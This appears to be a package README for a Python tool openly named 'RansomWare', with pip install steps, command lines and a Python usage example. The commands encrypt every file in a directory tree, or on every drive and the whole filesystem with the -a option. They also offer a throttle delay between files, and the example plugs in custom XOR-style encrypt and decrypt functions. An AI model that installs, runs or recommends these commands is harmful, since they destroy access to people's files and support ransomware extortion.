RansomWare 0.0.1

This package implement a RansomWare.

RansomWare

Description

This package implement a RansomWare.

Requirements

This package require :

• python3
• python3 Standard Library

Installation

pip install RansomWare

Launcher

Command line:

RansomWare aaa # Crypt all files in current directory and subdirectories with XOR and key aaa
RansomWare -t 56 aaa # Crypt all files in current directory and subdirectories with XOR and key aaa and sleep 56 secondes between file.
RansomWare -e 64 YWFh # Crypt all files in current directory and subdirectories with XOR and key aaa (encoded with base64)
RansomWare -d dir aaa # Crypt all files in dir and subdirectories with XOR and key aaa
RansomWare -a aaa # Encrypt all files on Windows this argument encrypt "A:\", "B:\", "C:\", ... "Z:\". On Linux this argument replace directory by "/".

Python script

from RansomWare import RansomWare

def get_IV(filename: str) -> bytes:
	""" This function return my custom IV. """
	return filename.encode()

def crypt(key: bytes, data:bytes) -> bytes:
	""" This function encrypt data with key. """
	return bytes([(car + key[i % len(key)]) % 256 for i, car in enumerate(data)])

def decrypt(key: bytes, data:bytes) -> bytes:
	""" This function decrypt data with key. """
	return bytes([(car - key[i % len(key)]) % 256 for i, car in enumerate(data)])

cryptolocker = RansomWare(
	b"aaa", # Key
	function_encrypt = crypt, # function to encrypt from key and data
    function_IV = get_IV, # function to get IV from filename
    directory = "dir", # directory to encrypt
    timeBetweenCrypt = 5, # time to sleep between encrypt files
    regexs_filename_to_encrypt = [".*txt", ".*ini"], # encrypt file if filename match with this regex
    regexs_filename_dont_encrypt = ["^/bin.*"], # don't encrypt file if filename match with this regex
)
cryptolocker.launch()

unlock = RansomWare(
	b"aaa", # Key
	function_encrypt = decrypt, # function to decrypt from key and data
    function_IV = get_IV, # function to get IV from filename
    directory = "dir", # directory to decrypt
    timeBetweenCrypt = 5, # time to sleep between decrypt files
    regexs_filename_to_encrypt = [".*txt", ".*ini"], # decrypt file if filename match with this regex
    regexs_filename_dont_encrypt = ["^/bin.*"], # don't decrypt file if filename match with this regex
)
unlock.launch()

Python executable:

python3 RansomWare.pyz -t 5 -d dir -e 64 YWFh

# OR
chmod u+x RansomWare.pyz # add execute rights
./RansomWare.pyz aaa # execute file

Python module (command line):

python3 -m RansomWare aaa
python3 -m RansomWare.RansomWare  -t 5 -d dir -e 64 YWFh

Links

• Github Page
• Documentation
• Download as python executable
• Pypi package

Licence

Licensed under the GPL, version 3.